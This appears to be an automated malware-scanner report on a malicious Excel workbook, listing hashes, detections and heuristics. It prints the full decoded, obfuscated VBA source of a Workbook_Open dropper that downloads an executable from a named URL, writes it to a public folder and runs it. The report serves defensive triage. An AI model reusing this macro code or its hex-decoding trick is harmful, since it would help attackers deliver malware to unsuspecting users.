Office (OOXML) malware analysis — malicious · 00b2c7ee70bb3f29

MALICIOUS

Office (OOXML)

118.5 KB First seen: 2020-09-07

MD5: e30dbe4b3c99aaaabc44d6ea6dff89fe SHA-1: 8c64f7a143865aa269e02f7be270914a53142e2a SHA-256: 00b2c7ee70bb3f29655e0c3b4eb07d76974702f39b9845220fa6e36a7be50c0f

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The file contains a Workbook_Open VBA macro that is obfuscated and uses CreateObject to download and execute a file. The macro explicitly constructs the URL "http://merwede-garage.nl/kemp/Specifications.exe" to fetch the payload. This behavior is consistent with a macro-based dropper designed to fetch and execute a second-stage executable.

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present

VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.

Matched line in script

ldryrvkinjkjqjlhjrwgrflpohjwpebpemninbodjfschuaazrxrcctfrckjmntiiufevcthcswlnjhugixxhjmbsiqlqerwmjtnowfxxpojgiriupddqvbyielmlhqybayepugkczasucukriqbbn.write scjultrpzqlilypomxthqccqmwebnaxhwuapzczglcykuzjtyiivbelqatioppbztelrxzpjynvnervmnkderbfsjkpfukqwbzrqosvytzxoixmjxvbflxhsytinkjonxzmfafyuoflsdrklygizjk.responseBody

Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
  Range("A6:J13").Select
Set scjultrpzqlilypomxthqccqmwebnaxhwuapzczglcykuzjtyiivbelqatioppbztelrxzpjynvnervmnkderbfsjkpfukqwbzrqosvytzxoixmjxvbflxhsytinkjonxzmfafyuoflsdrklygizjk = CreateObject(rxvtwtmwcyuablwnptumnahqtnrrainobjcderxedaiwpgskmwwpuzmrqfzi("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

  Range("A6:J13").Select
Set scjultrpzqlilypomxthqccqmwebnaxhwuapzczglcykuzjtyiivbelqatioppbztelrxzpjynvnervmnkderbfsjkpfukqwbzrqosvytzxoixmjxvbflxhsytinkjonxzmfafyuoflsdrklygizjk = CreateObject(rxvtwtmwcyuablwnptumnahqtnrrainobjcderxedaiwpgskmwwpuzmrqfzi("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	8858 bytes
SHA-256: `9e970ac7a5e12309465aaf5b4c4b7728a7d188caee5c49af9ecf447b23e1e8e6`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 41 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A6:J13").Select ifxyaehquhwvlmevmwstszxnbvroynlkfffvfduyvrdrqxsngkgpfdyjhkxfntrhwmpghjqjcuxbvgxecdiohvecgwnugokcavudhmgxtxnlgxnbmsckkcabhnzkvvcnjuaaltxpwkvkhtwijmioma"68 74 74 70 3A 2F 2F 6D 65 72 77 65 64 65 67 61 72 61 67 65 2E 6E 6C 2F 6B 65 6D 70 2F 53 70 65 63 69 66 69 63 61 74 69 6F 6E 73 2E 65 78 65" Selection.Font.ColorIndex = 3 End Sub Public Sub ifxyaehquhwvlmevmwstszxnbvroynlkfffvfduyvrdrqxsngkgpfdyjhkxfntrhwmpghjqjcuxbvgxecdiohvecgwnugokcavudhmgxtxnlgxnbmsckkcabhnzkvvcnjuaaltxpwkvkhtwijmioma (vplzuwhwtkpxlkassusysktopawnjcstpafazzqlmtwhzyqeuahupeflvxkuatnqsvhkeztsehmyomoqjrtjuxdluuecpwksgfpdqgzvhoqishxjitkiadwuswpkvqdiwtsixkzcsybfhvsnxutvlc As String) Dim scjultrpzqlilypomxthqccqmwebnaxhwuapzczglcykuzjtyiivbelqatioppbztelrxzpjynvnervmnkderbfsjkpfukqwbzrqosvytzxoixmjxvbflxhsytinkjonxzmfafyuoflsdrklygizjk Range("A6:J13").Select Dim ldryrvkinjkjqjlhjrwgrflpohjwpebpemninbodjfschuaazrxrcctfrckjmntiiufevcthcswlnjhugixxhjmbsiqlqerwmjtnowfxxpojgiriupddqvbyielmlhqybayepugkczasucukriqbbn Range("A6:J13").Select Dim fqhvejltlpyqifjmsajsbrvjdfjaucrpwnuiwupwzjnkteupbfqqrimovyrzakyiyiuukbpylntrdkpzluzpmayobgmycpwplfmlkzezpreeovlkjrofkiwxkfteorvvregyydplqaauvuzgubokbq Range("A6:J13").Select Set scjultrpzqlilypomxthqccqmwebnaxhwuapzczglcykuzjtyiivbelqatioppbztelrxzpjynvnervmnkderbfsjkpfukqwbzrqosvytzxoixmjxvbflxhsytinkjonxzmfafyuoflsdrklygizjk = CreateObject(rxvtwtmwcyuablwnptumnahqtnrrainobjcderxedaiwpgskmwwpuzmrqfzi("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Range("A6:J13").Select Set scjultrpzqlilypomxthqccqmwebnaxhwuapzczglcykuzjtyiivbelqatioppbztelrxzpjynvnervmnkderbfsjkpfukqwbzrqosvytzxoixmjxvbflxhsytinkjonxzmfafyuoflsdrklygizjk = CreateObject(rxvtwtmwcyuablwnptumnahqtnrrainobjcderxedaiwpgskmwwpuzmrqfzi("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set scjultrpzqlilypomxthqccqmwebnaxhwuapzczglcykuzjtyiivbelqatioppbztelrxzpjynvnervmnkderbfsjkpfukqwbzrqosvytzxoixmjxvbflxhsytinkjonxzmfafyuoflsdrklygizjk = CreateObject(rxvtwtmwcyuablwnptumnahqtnrrainobjcderxedaiwpgskmwwpuzmrqfzi("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set scjultrpzqlilypomxthqccqmwebnaxhwuapzczglcykuzjtyiivbelqatioppbztelrxzpjynvnervmnkderbfsjkpfukqwbzrqosvytzxoixmjxvbflxhsytinkjonxzmfafyuoflsdrklygizjk = CreateObject(rxvtwtmwcyuablwnptumnahqtnrrainobjcderxedaiwpgskmwwpuzmrqfzi("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set ldryrvkinjkjqjlhjrwgrflpohjwpebpemninbodjfschuaazrxrcctfrckjmntiiufevcthcswlnjhugixxhjmbsiqlqerwmjtnowfxxpojgiriupddqvbyielmlhqybayepugkczasucukriqbbn = CreateObject(rxvtwtmwcyuablwnptumnahqtnrrainobjcderxedaiwpgskmwwpuzmrqfzi("41 44 4f 44 42 2e 53 74 72 65 61 6d")) Set fqhvejltlpyqifjmsajsbrvjdfjaucrpwnuiwupwzjnkteupbfqqrimovyrzakyiyiuukbpylntrdkpzluzpmayobgmycpwplfmlkzezpreeovlkjrofkiwxkfteorvvregyydplqaauvuzgubokbq = CreateObject(rxvtwtmwcyuablwnptumnahqtnrrainobjcderxedaiwpgskmwwpuzmrqfzi("57 53 63 72 69 70 74 2e 53 68 65 6c 6c")) nsiwqomgivdymbtstyapoqvbtppgiwzvgdofjdqwavqgqsgcujppjsjwxgdaygymwisinnjqidoszolajnlygjlnuricapytxejiaxpgazhfdrwiucqkvzfnweowfgpsfuuvedamyfygbgjcuahxyn = rxvtwtmwcyuablwnptumnahqtnrrainobjcderxedaiwpgskmwwpuzmrqfzi(vplzuwhwtkpxlkassusysktopawnjcstpafazzqlmtwhzyqeuahupeflvxkuatnqsvhkeztsehmyomoqjrtjuxdluuecpwksgfpdqgzvhoqishxjitkiadwuswpkvqdiwtsixkzcsybfhvsnxutvlc) yyywlvitbujoajwbercemqaylpvmbfystsvwxhreefdewmgagtvquuaixzkwavrwvrvinadwzyahmwbyjugijhyzrmyxwveinhifrymfpzrwttwbxmmfpimnsvrabgzdtstenwhlhatjqcfxqwzkiz = rxvtwtmwcyuablwnptumnahqtnrrainobjcderxedaiwpgskmwwpuzmrqfzi("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 63 76 76 74 6C 67 7A 73 69 74 69 79 76 70 6A 6E 73 6B 61 6D 2e 65 78 65") sfuvmvhmdiancbarobebxppdxqqtkfgouuznjsjlevwkjczdwyiyfhcdprxvfncyclsicmivrtwbsfturmxlwiinswyrunfqtyixkrbkqngmkakkycesqqctcfqfoqaenfitxwkalmvjcwcrlntsjn = rxvtwtmwcyuablwnptumnahqtnrrainobjcderxedaiwpgskmwwpuzmrqfzi("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 63 76 76 74 6C 67 7A 73 69 74 69 79 76 70 6A 6E 73 6B 61 6D 2e 65 78 65") scjultrpzqlilypomxthqccqmwebnaxhwuapzczglcykuzjtyiivbelqatioppbztelrxzpjynvnervmnkderbfsjkpfukqwbzrqosvytzxoixmjxvbflxhsytinkjonxzmfafyuoflsdrklygizjk.Open chr(71) + chr(69) + chr(84), nsiwqomgivdymbtstyapoqvbtppgiwzvgdofjdqwavqgqsgcujppjsjwxgdaygymwisinnjqidoszolajnlygjlnuricapytxejiaxpgazhfdrwiucqkvzfnweowfgpsfuuvedamyfygbgjcuahxyn, False scjultrpzqlilypomxthqccqmwebnaxhwuapzczglcykuzjtyiivbelqatioppbztelrxzpjynvnervmnkderbfsjkpfukqwbzrqosvytzxoixmjxvbflxhsytinkjonxzmfafyuoflsdrklygizjk.send ldryrvkinjkjqjlhjrwgrflpohjwpebpemninbodjfschuaazrxrcctfrckjmntiiufevcthcswlnjhugixxhjmbsiqlqerwmjtnowfxxpojgiriupddqvbyielmlhqybayepugkczasucukriqbbn.Type = 1 ldryrvkinjkjqjlhjrwgrflpohjwpebpemninbodjfschuaazrxrcctfrckjmntiiufevcthcswlnjhugixxhjmbsiqlqerwmjtnowfxxpojgiriupddqvbyielmlhqybayepugkczasucukriqbbn.Open ldryrvkinjkjqjlhjrwgrflpohjwpebpemninbodjfschuaazrxrcctfrckjmntiiufevcthcswlnjhugixxhjmbsiqlqerwmjtnowfxxpojgiriupddqvbyielmlhqybayepugkczasucukriqbbn.write scjultrpzqlilypomxthqccqmwebnaxhwuapzczglcykuzjtyiivbelqatioppbztelrxzpjynvnervmnkderbfsjkpfukqwbzrqosvytzxoixmjxvbflxhsytinkjonxzmfafyuoflsdrklygizjk.responseBody ldryrvkinjkjqjlhjrwgrflpohjwpebpemninbodjfschuaazrxrcctfrckjmntiiufevcthcswlnjhugixxhjmbsiqlqerwmjtnowfxxpojgiriupddqvbyielmlhqybayepugkczasucukriqbbn.savetofile yyywlvitbujoajwbercemqaylpvmbfystsvwxhreefdewmgagtvquuaixzkwavrwvrvinadwzyahmwbyjugijhyzrmyxwveinhifrymfpzrwttwbxmmfpimnsvrabgzdtstenwhlhatjqcfxqwzkiz, 2 fqhvejltlpyqifjmsajsbrvjdfjaucrpwnuiwupwzjnkteupbfqqrimovyrzakyiyiuukbpylntrdkpzluzpmayobgmycpwplfmlkzezpreeovlkjrofkiwxkfteorvvregyydplqaauvuzgubokbq.Run sfuvmvhmdiancbarobebxppdxqqtkfgouuznjsjlevwkjczdwyiyfhcdprxvfncyclsicmivrtwbsfturmxlwiinswyrunfqtyixkrbkqngmkakkycesqqctcfqfoqaenfitxwkalmvjcwcrlntsjn End Sub Public Function rxvtwtmwcyuablwnptumnahqtnrrainobjcderxedaiwpgskmwwpuzmrqfzi(ByVal edjobegakywjmkonlfccpkhbbqgnjmcktazdokclfqpcymhprhqjiybuvhmkxsqyvlpmklybcqxzufcpirwbwtbuyehhxrnmzrgmwuefjogsbcapfxcgvobcjvnferekckzdzpsnmrsinjtwesbzph As String) As String Dim rkpedbhybrjvpqcwppeotewtozbqblpevvtoovmrgoqbyructiclubnmowpdzqxpceatxoiudnifovuxfzxsidktigarfjspqaytrbefahihthxtbsxasegyuglqoqpuuspowbfeussavcabjgpnlr As String Dim wmtaykporjsnmbsjxamtgalgcrfjhhabjdvcuvcvofajhiqzizjobrlwanygfggjirejfpocyreaacyubgbiymarrzchxvqiyqaqegttkhqkmlvypefyeylwrmrgnhedawbjbhpvmhxrvpegddssqr As String Dim dafezrongccnjqjmwhojmxauabhldjommjtbexiygzbupigoxrhlegegzkdxjdjxoqazxihzyqdnvgfsutombdhgfmctukocpegyhhrojimocrksfkcqpxvkitukfnenbbxrzgknczctrsdocjojhx As Long For dafezrongccnjqjmwhojmxauabhldjommjtbexiygzbupigoxrhlegegzkdxjdjxoqazxihzyqdnvgfsutombdhgfmctukocpegyhhrojimocrksfkcqpxvkitukfnenbbxrzgknczctrsdocjojhx = 1 To Len(edjobegakywjmkonlfccpkhbbqgnjmcktazdokclfqpcymhprhqjiybuvhmkxsqyvlpmklybcqxzufcpirwbwtbuyehhxrnmzrgmwuefjogsbcapfxcgvobcjvnferekckzdzpsnmrsinjtwesbzph)Step 3 rkpedbhybrjvpqcwppeotewtozbqblpevvtoovmrgoqbyructiclubnmowpdzqxpceatxoiudnifovuxfzxsidktigarfjspqaytrbefahihthxtbsxasegyuglqoqpuuspowbfeussavcabjgpnlr = Chr$(Val("&H" & Mid$(edjobegakywjmkonlfccpkhbbqgnjmcktazdokclfqpcymhprhqjiybuvhmkxsqyvlpmklybcqxzufcpirwbwtbuyehhxrnmzrgmwuefjogsbcapfxcgvobcjvnferekckzdzpsnmrsinjtwesbzph, dafezrongccnjqjmwhojmxauabhldjommjtbexiygzbupigoxrhlegegzkdxjdjxoqazxihzyqdnvgfsutombdhgfmctukocpegyhhrojimocrksfkcqpxvkitukfnenbbxrzgknczctrsdocjojhx, 2))) wmtaykporjsnmbsjxamtgalgcrfjhhabjdvcuvcvofajhiqzizjobrlwanygfggjirejfpocyreaacyubgbiymarrzchxvqiyqaqegttkhqkmlvypefyeylwrmrgnhedawbjbhpvmhxrvpegddssqr = wmtaykporjsnmbsjxamtgalgcrfjhhabjdvcuvcvofajhiqzizjobrlwanygfggjirejfpocyreaacyubgbiymarrzchxvqiyqaqegttkhqkmlvypefyeylwrmrgnhedawbjbhpvmhxrvpegddssqr & rkpedbhybrjvpqcwppeotewtozbqblpevvtoovmrgoqbyructiclubnmowpdzqxpceatxoiudnifovuxfzxsidktigarfjspqaytrbefahihthxtbsxasegyuglqoqpuuspowbfeussavcabjgpnlr Next dafezrongccnjqjmwhojmxauabhldjommjtbexiygzbupigoxrhlegegzkdxjdjxoqazxihzyqdnvgfsutombdhgfmctukocpegyhhrojimocrksfkcqpxvkitukfnenbbxrzgknczctrsdocjojhx rxvtwtmwcyuablwnptumnahqtnrrainobjcderxedaiwpgskmwwpuzmrqfzi = wmtaykporjsnmbsjxamtgalgcrfjhhabjdvcuvcvofajhiqzizjobrlwanygfggjirejfpocyreaacyubgbiymarrzchxvqiyqaqegttkhqkmlvypefyeylwrmrgnhedawbjbhpvmhxrvpegddssqr End Function Attribute VB_Name = "advouebwvzmcyerqncrehdutrgdytaw" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	9728 bytes
SHA-256: `f2973c6947472704baf28e9db060471323d290d4a4d74f41389b6cb83f3efd7b`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: likely 193 of 337 identifiers look randomly generated (e.g. 'advouebwvzmcyerqncrehdutrgdytaw') — consistent with name-mangling obfuscation.

Open this report in the interactive analyzer, or submit your own file for analysis.